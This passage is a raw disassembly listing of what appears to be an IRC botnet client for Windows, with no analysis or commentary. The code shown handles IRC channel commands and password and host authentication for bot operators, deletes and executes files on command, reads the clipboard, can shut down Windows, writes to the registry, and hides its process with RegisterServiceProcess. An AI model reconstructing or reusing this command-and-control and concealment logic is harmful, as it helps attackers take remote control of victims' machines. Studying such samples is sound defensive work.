14h test eax, eax jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 lea eax, [ebp+var_2C0] push eax push offset aS_13 ; "%s\r\n" jmp short loc_4081F1 ; --------------------------------------------------------------------------- loc_40825A: ; CODE XREF: sub_401CC1+4178j ; sub_401CC1+418Fj push [ebp+arg_18] lea eax, [ebp+var_2C0] push offset aNickS_4 ; "NICK %s" push eax call sub_41B740 push edi call sub_41B3F0 add esp, 10h test eax, eax jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 lea eax, [ebp+var_2C0] push eax push offset aS_14 ; "%s\r\n" push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408E73 push [ebp+arg_18] push edi push offset dword_4439C8 loc_4082BE: ; CODE XREF: sub_401CC1+6684j ; sub_401CC1+66EFj ... call sub_4145FE jmp loc_403FBB ; --------------------------------------------------------------------------- loc_4082C8: ; CODE XREF: sub_401CC1+414Aj ; sub_401CC1+4161j cmp [ebp+var_C], ebx jz loc_408CA1 push [ebp+arg_18] push [ebp+var_C] call sub_41B890 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4082F9 push esi lea eax, [ebp+var_2C0] push offset aModeS ; "MODE %s" push eax call sub_41B740 add esp, 0Ch loc_4082F9: ; CODE XREF: sub_401CC1+6621j push edi call sub_41B3F0 test eax, eax pop ecx jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 lea eax, [ebp+var_2C0] push eax push offset aS_15 ; "%s\r\n" push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408E73 push esi push edi push offset dword_443990 jmp loc_4082BE ; --------------------------------------------------------------------------- loc_40834A: ; CODE XREF: sub_401CC1+411Cj ; sub_401CC1+4133j cmp [ebp+var_C], ebx jz loc_408CA1 push [ebp+arg_18] push [ebp+var_C] call sub_41B890 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_408CA1 push edi call sub_41B3F0 test eax, eax pop ecx jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 push esi push offset aS_16 ; "%s\r\n" push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408E73 push esi push edi push offset dword_443958 jmp loc_4082BE ; --------------------------------------------------------------------------- loc_4083B5: ; CODE XREF: sub_401CC1+40EEj ; sub_401CC1+4105j cmp [ebp+var_C], ebx jz loc_408CA1 push edi push [ebp+var_C] call sub_41B890 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_408CA1 push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_408E73 push esi push offset unk_443928 loc_4083E7: ; CODE XREF: sub_401CC1+6EBEj ; sub_401CC1+6ED7j ... call sub_4145FE jmp loc_403394 ; --------------------------------------------------------------------------- loc_4083F1: ; CODE XREF: sub_401CC1+40C0j ; sub_401CC1+40D7j push [ebp+var_8C] push offset a332_2 ; "332" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40207C push [ebp+arg_18] push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] call sub_408E73 push edi call sub_41B3F0 imul eax, 3E8h add esp, 10h push eax call dword_4F1334 ; Sleep push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_408E73 push offset dword_4438FC call sub_41458A jmp loc_403394 ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401CC1+4092j ; sub_401CC1+40A9j cmp [ebp+var_C], ebx jz loc_408CA1 push edi call sub_418D00 push [ebp+arg_10] mov esi, eax call sub_418D00 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41B890 mov esi, eax add esp, 10h cmp esi, ebx jz loc_408CA1 push esi lea eax, [ebp+var_2C0] push offset dword_4438A8 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push ebx push eax push edi push [ebp+arg_4] call sub_408EB9 push esi push edi push offset unk_4438B4 call sub_4145FE add esp, 2Ch jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_4084C5: ; CODE XREF: sub_401CC1+4064j ; sub_401CC1+407Bj cmp [ebp+var_C], ebx jz loc_408CA1 push edi call sub_418D00 push [ebp+arg_10] mov esi, eax call sub_418D00 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41B890 mov esi, eax add esp, 10h cmp esi, ebx jz loc_408CA1 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_408EB9 push esi push edi push offset unk_44387C call sub_4145FE add esp, 20h jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_40851B: ; CODE XREF: sub_401CC1+4036j ; sub_401CC1+404Dj cmp [ebp+var_C], ebx jz loc_40207C push [ebp+arg_18] push [ebp+var_C] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz loc_40207C push eax push edi call sub_414492 push edi lea eax, [ebp+var_2C0] push offset unk_443850 push eax call sub_41B740 add esp, 14h jmp loc_408A87 ; --------------------------------------------------------------------------- loc_40855A: ; CODE XREF: sub_401CC1+4008j ; sub_401CC1+401Fj push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4162E2 jmp loc_403E2D ; --------------------------------------------------------------------------- loc_408574: ; CODE XREF: sub_401CC1+3FC8j ; sub_401CC1+3FDFj push edi push [ebp+arg_1C] call sub_41B890 pop ecx test eax, eax pop ecx jz loc_408CA1 mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408611 push esi push [ebp+var_C] call sub_41B890 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4085F9 push esi lea eax, [ebp+var_2C0] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS_1 ; "%s %s %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41B1F0 push esi push edi lea eax, [ebp+var_2C0] push offset unk_4437C0 push eax call sub_41B740 add esp, 34h inc [ebp+arg_24] jmp loc_408793 ; --------------------------------------------------------------------------- loc_4085F9: ; CODE XREF: sub_401CC1+68E0j lea eax, [ebp+var_2C0] push offset unk_4437E8 push eax call sub_41B740 pop ecx pop ecx jmp loc_408793 ; --------------------------------------------------------------------------- loc_408611: ; CODE XREF: sub_401CC1+68CFj push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_418C2F add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 push edi push offset dword_443818 lea eax, [ebp+var_2C0] push 200h push eax call sub_41B910 add esp, 24h jmp loc_408793 ; --------------------------------------------------------------------------- loc_408658: ; CODE XREF: sub_401CC1+3A8Ej ; sub_401CC1+3AA5j push offset aR_0 ; "r" push edi call sub_41B170 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4086D2 mov ebx, 200h push esi lea eax, [ebp+var_2C0] push ebx push eax call sub_41BC90 add esp, 0Ch loc_408681: ; CODE XREF: sub_401CC1+69EFj test eax, eax jz short loc_4086B2 push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 push esi lea eax, [ebp+var_2C0] push ebx push eax call sub_41BC90 add esp, 20h jmp short loc_408681 ; --------------------------------------------------------------------------- loc_4086B2: ; CODE XREF: sub_401CC1+69C2j push esi call sub_418D80 push edi lea eax, [ebp+var_2C0] push offset unk_4433B4 push eax call sub_41B740 add esp, 10h jmp loc_4066B4 ; --------------------------------------------------------------------------- loc_4086D2: ; CODE XREF: sub_401CC1+69A8j push edi push offset unk_4433D8 jmp loc_406684 ; --------------------------------------------------------------------------- loc_4086DD: ; CODE XREF: sub_401CC1+3A60j ; sub_401CC1+3A77j cmp [ebp+var_C], ebx jz loc_408CA1 push edi push [ebp+var_C] call sub_41B890 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_408CA1 push offset dword_443358 push esi call sub_41C310 push esi call sub_417985 add esp, 0Ch test eax, eax jnz short loc_40871A push offset unk_44335C jmp short loc_408764 ; --------------------------------------------------------------------------- loc_40871A: ; CODE XREF: sub_401CC1+6A50j push esi lea eax, [ebp+var_2C0] push offset dword_443388 push eax call sub_41B740 add esp, 0Ch jmp short loc_408793 ; --------------------------------------------------------------------------- loc_408731: ; CODE XREF: sub_401CC1+3A32j ; sub_401CC1+3A49j cmp [ebp+var_C], ebx jz loc_408CA1 push edi push [ebp+var_C] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz loc_408CA1 push eax call sub_415F91 test eax, eax pop ecx jnz short loc_40875F push offset unk_443314 jmp short loc_408764 ; --------------------------------------------------------------------------- loc_40875F: ; CODE XREF: sub_401CC1+6A95j push offset dword_443334 loc_408764: ; CODE XREF: sub_401CC1+6A57j ; sub_401CC1+6A9Cj lea eax, [ebp+var_2C0] push eax call sub_41B740 pop ecx pop ecx loc_408772: ; CODE XREF: sub_401CC1+631Ej cmp [ebp+var_8], ebx jnz short loc_408793 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_408793: ; CODE XREF: sub_401CC1+6933j ; sub_401CC1+694Bj ... lea eax, [ebp+var_2C0] push eax call sub_41458A pop ecx jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_4087A5: ; CODE XREF: sub_401CC1+3A04j ; sub_401CC1+3A1Bj push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_40F483 push edi push offset dword_4432EC jmp loc_4082BE ; --------------------------------------------------------------------------- loc_4087C0: ; CODE XREF: sub_401CC1+39D6j ; sub_401CC1+39EDj push edi call dword_4F133C ; DeleteFileA test eax, eax jz short loc_4087D3 push edi push offset dword_4432B8 jmp short loc_4087DE ; --------------------------------------------------------------------------- loc_4087D3: ; CODE XREF: sub_401CC1+6B08j push offset dword_4432D4 call sub_415ECC push eax loc_4087DE: ; CODE XREF: sub_401CC1+6B10j lea eax, [ebp+var_2C0] push 200h push eax call sub_41B910 jmp loc_4088B6 ; --------------------------------------------------------------------------- loc_4087F4: ; CODE XREF: sub_401CC1+39A8j ; sub_401CC1+39BFj push edi call sub_41B3F0 push eax call sub_4178FE pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_408811 push offset unk_443258 jmp short loc_408816 ; --------------------------------------------------------------------------- loc_408811: ; CODE XREF: sub_401CC1+6B47j push offset unk_44327C loc_408816: ; CODE XREF: sub_401CC1+6B4Ej lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_4066B7 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h jmp loc_4066B7 ; --------------------------------------------------------------------------- loc_40884F: ; CODE XREF: sub_401CC1+397Aj ; sub_401CC1+3991j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4175DD add esp, 18h cmp eax, 1 push edi jnz short loc_408871 push offset unk_4431FC jmp loc_406684 ; --------------------------------------------------------------------------- loc_408871: ; CODE XREF: sub_401CC1+6BA4j push offset unk_44321C jmp loc_406684 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_401CC1+394Cj ; sub_401CC1+3963j push edi call dword_4E08DC cmp eax, 0FFFFFFFFh mov [ebp+var_2CC], eax jz short loc_4088BE push 2 lea eax, [ebp+var_2CC] push 4 push eax call dword_4E085C cmp eax, ebx jz short loc_4088DF push dword ptr [eax] push edi push offset unk_443184 loc_4088AA: ; CODE XREF: sub_401CC1+6C1Cj lea eax, [ebp+var_2C0] push eax call sub_41B740 loc_4088B6: ; CODE XREF: sub_401CC1+6B2Ej add esp, 10h jmp loc_406693 ; --------------------------------------------------------------------------- loc_4088BE: ; CODE XREF: sub_401CC1+6BCAj push edi call dword_4E0920 cmp eax, ebx jz short loc_4088DF mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4E0928 push eax push edi push offset unk_4431A4 jmp short loc_4088AA ; --------------------------------------------------------------------------- loc_4088DF: ; CODE XREF: sub_401CC1+6BDFj ; sub_401CC1+6C06j push offset unk_4431C4 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_4088E9: ; CODE XREF: sub_401CC1+391Ej ; sub_401CC1+3935j push 7Fh push edi push [ebp+arg_14] call sub_41B1F0 push edi lea eax, [ebp+var_2C0] push offset unk_443154 push eax call sub_41B740 add esp, 18h jmp loc_407C2F ; --------------------------------------------------------------------------- loc_40890E: ; CODE XREF: sub_401CC1+38F0j ; sub_401CC1+3907j push 5 push ebx push ebx push edi push offset aOpen_1 ; "open" push ebx call dword_4E0818 test eax, eax push edi jz short loc_40892E push offset unk_443104 jmp loc_406684 ; --------------------------------------------------------------------------- loc_40892E: ; CODE XREF: sub_401CC1+6C61j push offset unk_443124 jmp loc_406684 ; --------------------------------------------------------------------------- loc_408938: ; CODE XREF: sub_401CC1+38C2j ; sub_401CC1+38D9j mov al, [edi] mov byte_43A094, al movsx eax, byte ptr [edi] push eax push offset unk_4430C8 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_40894D: ; CODE XREF: sub_401CC1+3894j ; sub_401CC1+38ABj push edi call sub_41B3F0 test eax, eax pop ecx jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40A4F6 push eax lea eax, [ebp+var_2C0] push offset aNickS_5 ; "NICK %s" push eax call sub_41B740 add esp, 1Ch lea eax, [ebp+var_2C0] push eax push offset aS_17 ; "%s\r\n" jmp loc_4081F1 ; --------------------------------------------------------------------------- loc_4089A4: ; CODE XREF: sub_401CC1+3866j ; sub_401CC1+387Dj push edi call sub_41B3F0 test eax, eax pop ecx jle loc_40207C push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_40207C push offset aQuitLater_0 ; "QUIT :later\r\n" push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408E73 pop ecx pop ecx push 1F4h call dword_4F1334 ; Sleep push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call dword_4E0934 push [ebp+var_10] push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537DC[eax] call dword_4F1368 ; TerminateThread push edi call sub_41B3F0 imul eax, 234h push edi mov dword_4537DC[eax], ebx call sub_41B3F0 imul eax, 234h pop ecx pop ecx mov byte ptr dword_4535C8[eax], bl jmp loc_40207C ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_401CC1+3838j ; sub_401CC1+384Fj push edi push offset aAll ; "all" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_408AB9 call sub_40A9C6 cmp eax, ebx jle short loc_408A74 push eax push offset unk_442FDC jmp loc_406CD7 ; --------------------------------------------------------------------------- loc_408A74: ; CODE XREF: sub_401CC1+6DA6j push offset unk_443004 loc_408A79: ; CODE XREF: sub_401CC1+202Ej ; sub_401CC1+204Dj ... lea eax, [ebp+var_2C0] push eax call sub_41B740 pop ecx pop ecx loc_408A87: ; CODE XREF: sub_401CC1+5025j ; sub_401CC1+6894j cmp [ebp+var_8], ebx jnz short loc_408AA8 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_408AA0: ; CODE XREF: sub_401CC1+6416j call sub_408EB9 add esp, 14h loc_408AA8: ; CODE XREF: sub_401CC1+2233j ; sub_401CC1+225Ej ... lea eax, [ebp+var_2C0] push eax call sub_41458A jmp loc_402266 ; --------------------------------------------------------------------------- loc_408AB9: ; CODE XREF: sub_401CC1+6D9Dj mov eax, [ebp+var_A4] lea edi, [eax+1] cmp edi, 20h jnb loc_40207C lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_408AD5: ; CODE XREF: sub_401CC1+6E85j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40207C push esi call sub_41B3F0 push eax call sub_40A938 pop ecx pop ecx test eax, eax push esi jz short loc_408AFC push offset unk_44302C jmp short loc_408B01 ; --------------------------------------------------------------------------- loc_408AFC: ; CODE XREF: sub_401CC1+6E32j push offset unk_443050 loc_408B01: ; CODE XREF: sub_401CC1+6E39j lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408B31 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_408B31: ; CODE XREF: sub_401CC1+6E52j lea eax, [ebp+var_2C0] push eax call sub_41458A add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_408AD5 jmp loc_40207C ; --------------------------------------------------------------------------- loc_408B4D: ; CODE XREF: sub_401CC1+380Aj ; sub_401CC1+3821j cmp [ebp+var_C], ebx jz loc_408CA1 push edi push [ebp+var_C] call sub_41B890 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_408CA1 push esi push offset aS_27 ; "%s\r\n" push [ebp+arg_4] call sub_408E73 push esi push offset dword_442FAC jmp loc_4083E7 ; --------------------------------------------------------------------------- loc_408B84: ; CODE XREF: sub_401CC1+37DCj ; sub_401CC1+37F3j push edi push offset aPartS_2 ; "PART %s\r\n" push [ebp+arg_4] call sub_408E73 push edi push offset unk_442F78 jmp loc_4083E7 ; --------------------------------------------------------------------------- loc_408B9D: ; CODE XREF: sub_401CC1+37AEj ; sub_401CC1+37C5j push [ebp+esi+var_88] push edi push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_408E73 push edi push offset unk_442F3C jmp loc_4082BE ; --------------------------------------------------------------------------- loc_408BBD: ; CODE XREF: sub_401CC1+3780j ; sub_401CC1+3797j push edi push offset aNickS_6 ; "NICK %s\r\n" push [ebp+arg_4] call sub_408E73 push edi push offset unk_442EFC jmp loc_4083E7 ; --------------------------------------------------------------------------- loc_408BD6: ; CODE XREF: sub_401CC1+2BD3j ; sub_401CC1+2BEAj push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_408E73 push edi lea eax, [ebp+var_2C0] push offset unk_442B8C push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_41458A push edi call sub_41B3F0 add esp, 1Ch loc_408C0A: ; CODE XREF: sub_401CC1+6F91j push eax call dword_4F1334 ; Sleep loc_408C11: ; CODE XREF: sub_401CC1+2615j xor eax, eax jmp loc_40207F ; --------------------------------------------------------------------------- loc_408C18: ; CODE XREF: sub_401CC1+2BA5j ; sub_401CC1+2BBCj push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_408E73 push edi lea eax, [ebp+var_2C0] push offset unk_442B34 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_41458A push edi call sub_41B3F0 add esp, 1Ch imul eax, 3E8h jmp short loc_408C0A ; --------------------------------------------------------------------------- loc_408C54: ; CODE XREF: sub_401CC1+C13j ; sub_401CC1+C28j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_43A09C push eax call sub_40A4F6 lea eax, [ebp+var_338] push eax push offset aNickS_7 ; "NICK %s\r\n" push [ebp+arg_4] call sub_408E73 lea eax, [ebp+var_338] push eax push offset unk_441910 call sub_4145FE loc_408C9E: ; CODE XREF: sub_401CC1+4A5Dj add esp, 24h loc_408CA1: ; CODE XREF: sub_401CC1+63Dj ; sub_401CC1+649j ... mov eax, [ebp+arg_24] jmp loc_40207F ; --------------------------------------------------------------------------- loc_408CA9: ; CODE XREF: sub_401CC1+6D0j ; sub_401CC1+6E5j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_40207C cmp [ebp+var_A8], ebx jnz loc_40207C push offset asc_441754 ; "!" push [ebp+var_90] call sub_41C550 mov esi, eax push offset dword_4E075C push ebx inc esi call sub_41C550 push offset asc_441758 ; "~" push eax call sub_41C550 push [ebp+arg_20] mov edi, eax push offset aHi_0 ; "hi" call sub_41C4C0 add esp, 20h test eax, eax jz short loc_408D51 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_408E73 lea eax, [ebp+var_C0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_408E73 push edi push esi push offset unk_4417B0 loc_408D3D: ; CODE XREF: sub_401CC1+70ECj lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 30h jmp loc_407C50 ; --------------------------------------------------------------------------- loc_408D51: ; CODE XREF: sub_401CC1+7043j mov [ebp+arg_24], offset off_43A154 loc_408D58: ; CODE XREF: sub_401CC1+70B3j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40AB56 pop ecx test eax, eax pop ecx jnz short loc_408DAF add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_43A158 jl short loc_408D58 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_408E73 lea eax, [ebp+var_C0] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_408E73 push edi push esi push offset unk_441830 jmp short loc_408D3D ; --------------------------------------------------------------------------- loc_408DAF: ; CODE XREF: sub_401CC1+70A6j mov edi, [ebp+arg_18] xor esi, esi loc_408DB4: ; CODE XREF: sub_401CC1+711Dj cmp [ebp+arg_20], ebx jz loc_40207C cmp [edi], bl jnz short loc_408DD4 push [ebp+arg_20] push offset aHi_0 ; "hi" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_408DE5 loc_408DD4: ; CODE XREF: sub_401CC1+70FEj inc esi add edi, 80h cmp esi, 3 jl short loc_408DB4 jmp loc_40207C ; --------------------------------------------------------------------------- loc_408DE5: ; CODE XREF: sub_401CC1+7111j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_D04] push 7Fh push eax push esi call sub_41B1F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408E1C push ebx push [ebp+var_4] push offset unk_44185C push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_408E1C: ; CODE XREF: sub_401CC1+713Fj lea eax, [ebp+var_C0] push eax push offset unk_44187C jmp loc_402260 ; --------------------------------------------------------------------------- loc_408E2D: ; CODE XREF: sub_401CC1+205j ; sub_401CC1+21Aj push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_408E73 push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_408E73 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_408E73 add esp, 2Ch mov dword_4E0748, edi jmp loc_401F55 sub_401CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E73 proc near ; CODE XREF: sub_401B49+3Dp ; sub_401CC1+1C2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C6A0 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4E08EC leave retn sub_408E73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EB9 proc near ; CODE XREF: sub_401CC1+50Cp ; sub_401CC1+102Fp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice_3 ; "NOTICE" jnz short loc_408ED4 mov edi, offset aPrivmsg_2 ; "PRIVMSG" loc_408ED4: ; CODE XREF: sub_408EB9+14j push edi call sub_418D00 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_418D00 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_18 ; "%s" push esi push eax call sub_41B910 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B740 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4E08EC cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_408F52 push 7D0h call dword_4F1334 ; Sleep locret_408F52: ; CODE XREF: sub_408EB9+8Cj leave retn sub_408EB9 endp ; =============== S U B R O U T I N E ======================================= sub_408F54 proc near ; CODE XREF: sub_40141B+4Bp push ebx push ebp mov ebp, dword_4F1358 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4F1378 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409074 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4E0948, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4E08C0, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4E08A4, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4E07C4, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4E0774, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4E07A0, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4E0814, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4E08FC, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4E0958, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4E07D0, eax call esi ; GetProcAddress cmp dword_4E0948, ebx mov dword_4E07B8, eax jz short loc_409052 cmp dword_4E08C0, ebx jz short loc_409052 cmp dword_4E08A4, ebx jz short loc_409052 cmp dword_4E07C4, ebx jz short loc_409052 cmp dword_4E07A0, ebx jz short loc_409052 cmp dword_4E0814, ebx jz short loc_409052 cmp dword_4E08FC, ebx jz short loc_409052 cmp dword_4E0958, ebx jz short loc_409052 cmp dword_4E07D0, ebx jz short loc_409052 cmp eax, ebx jnz short loc_40905C loc_409052: ; CODE XREF: sub_408F54+B8j ; sub_408F54+C0j ... mov dword_4E095C, 1 loc_40905C: ; CODE XREF: sub_408F54+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4E08D4, eax jz short loc_409089 push 1 push ebx call eax jmp short loc_409089 ; --------------------------------------------------------------------------- loc_409074: ; CODE XREF: sub_408F54+1Dj call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0960, eax mov dword_4E095C, 1 loc_409089: ; CODE XREF: sub_408F54+117j ; sub_408F54+11Ej push offset aUser32_dll ; "user32.dll" call dword_4F1374 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409144 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4E08F8, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4E08AC, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4E0844, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4E094C, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4E0870, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4E0890, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4E08F0, eax call esi ; GetProcAddress cmp dword_4E08F8, ebx mov dword_4E07F0, eax jz short loc_40914F cmp dword_4E08AC, ebx jz short loc_40914F cmp dword_4E0844, ebx jz short loc_40914F cmp dword_4E094C, ebx jz short loc_40914F cmp dword_4E0870, ebx jz short loc_40914F cmp dword_4E0890, ebx jz short loc_40914F cmp dword_4E08F0, ebx jz short loc_40914F cmp eax, ebx jnz short loc_409159 jmp short loc_40914F ; --------------------------------------------------------------------------- loc_409144: ; CODE XREF: sub_408F54+144j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0968, eax loc_40914F: ; CODE XREF: sub_408F54+1B8j ; sub_408F54+1C0j ... mov dword_4E0964, 1 loc_409159: ; CODE XREF: sub_408F54+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409312 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4E090C, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov 